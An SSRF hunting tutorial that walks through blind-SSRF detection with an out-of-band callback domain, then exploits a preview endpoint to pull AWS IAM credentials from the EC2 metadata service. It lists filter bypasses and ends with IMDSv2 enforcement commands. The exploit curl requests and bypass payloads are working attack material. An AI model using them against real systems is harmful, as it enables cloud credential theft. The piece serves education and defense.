In 2019, Capital One’s AWS breach traced back to a single SSRF vulnerability that let an attacker hit the EC2 metadata endpoint and steal IAM credentials. The technique hasn’t changed — but targets have multiplied. Every app that fetches a URL on behalf of a user is a potential entry point.
What SSRF Actually Is
SSRF (Server-Side Request Forgery) tricks the server into making HTTP requests to locations you control — or locations only the server can reach. Think internal dashboards, cloud metadata services, and databases that never touch the public internet. The server becomes your proxy.
The classic trigger is any parameter that takes a URL: ?url=, ?img=, ?webhook=, ?feed=. Developers use these to fetch previews, load avatars, or pull RSS feeds. Attackers use them to pivot inward.
Finding SSRF With Burp and Out-of-Band Detection
Blind SSRF — where the response doesn’t reflect server output — is the most common variant. You won’t see the internal page. You will see a DNS or HTTP callback. Burp Suite’s Collaborator (or the open-source interactsh) gives you a unique callback domain for exactly this.
Here’s a real hunting workflow against a target that has a document preview feature:
# Intercept the preview request in Burp, then replay with curl
curl -s -X POST https://app.corp-demo.io/api/preview \
-H "Content-Type: application/json" \
-H "Cookie: session=eyJhbGciOiJIUzI1NiJ9..." \
-d '{"document_url": "http://4x8k2.oast.fun/ssrf-test"}'
# Response
{"status": "processing", "job_id": "a3f9b"}
No URL content in the response — that’s blind SSRF territory. But check your interactsh listener:
[interactsh] Received interaction:
Protocol : HTTP
From : 203.0.113.47
Request :
GET /ssrf-test HTTP/1.1
Host: 4x8k2.oast.fun
User-Agent: python-requests/2.28.0
X-Forwarded-For: 192.0.2.14
The server at 192.0.2.14 made the request. You now have confirmed SSRF. The python-requests user-agent tells you the backend is Python, which narrows your exploitation path. The next step is pivoting that callback URL to internal targets.
Exploiting SSRF: Hitting the Cloud Metadata Service
On AWS, the instance metadata service lives at 169.254.169.254 — link-local, unreachable from the internet, reachable from the server. If the app runs on EC2, this is your jackpot.
curl -s -X POST https://app.corp-demo.io/api/preview \
-H "Content-Type: application/json" \
-H "Cookie: session=eyJhbGciOiJIUzI1NiJ9..." \
-d '{"document_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# Response
{"preview": "corp-demo-app-role", "status": "done"}
The role name leaked in the preview response — this app isn't blind after all. Now fetch the credentials directly:
curl -s -X POST https://app.corp-demo.io/api/preview \
-H "Content-Type: application/json" \
-H "Cookie: session=eyJhbGciOiJIUzI1NiJ9..." \
-d '{"document_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/corp-demo-app-role"}'
# Response
{
"preview": "{\n \"Code\": \"Success\",\n \"Type\": \"AWS-HMAC\",\n \"AccessKeyId\": \"ASIA3EXAMPLE7KEYID\",\n \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n \"Token\": \"AQoDYXdzEJr...\",\n \"Expiration\": \"2026-08-09T14:32:00Z\"\n}",
"status": "done"
}
You now have temporary AWS credentials valid until the token expires. Load them into the AWS CLI with aws configure and run aws sts get-caller-identity to confirm your access level. From here, attackers enumerate S3 buckets, pull secrets from Parameter Store, or pivot to other services the role can touch. Capital One's attacker did exactly this — the role had s3:GetObject on over 700 buckets.
Bypassing Basic SSRF Filters
Developers often blocklist 169.254.169.254 or localhost. These filters break trivially. Common bypasses include decimal IP encoding, DNS rebinding, or redirects you control.
- Decimal encoding:
http://2852039166/latest/meta-data/— that's169.254.169.254in decimal - IPv6:
http://[::ffff:169.254.169.254]/latest/meta-data/ - Open redirect chain:
http://trusted-cdn.io/redirect?to=http://169.254.169.254/ - DNS you control: Point
meta.attacker.ioA record to169.254.169.254, submit that hostname
AWS IMDSv2 requires a PUT-based token exchange that most SSRF vectors can't replicate — which is why enforcing IMDSv2 across your fleet is the single most impactful mitigation for cloud-hosted apps.
What To Do Now
Open your AWS console and run this command against every EC2 instance in your account:
aws ec2 describe-instances \
--query 'Reservations[*].Instances[*].[InstanceId, MetadataOptions.HttpTokens]' \
--output table
# Look for any instance showing "optional" instead of "required"
# "optional" means IMDSv1 is still active — that's exploitable SSRF bait
Any instance showing optional is one SSRF vulnerability away from credential theft. Enforce IMDSv2 with aws ec2 modify-instance-metadata-options --instance-id i-XXXXX --http-tokens required. Do it today — it's a one-liner with zero downtime on modern instance types.
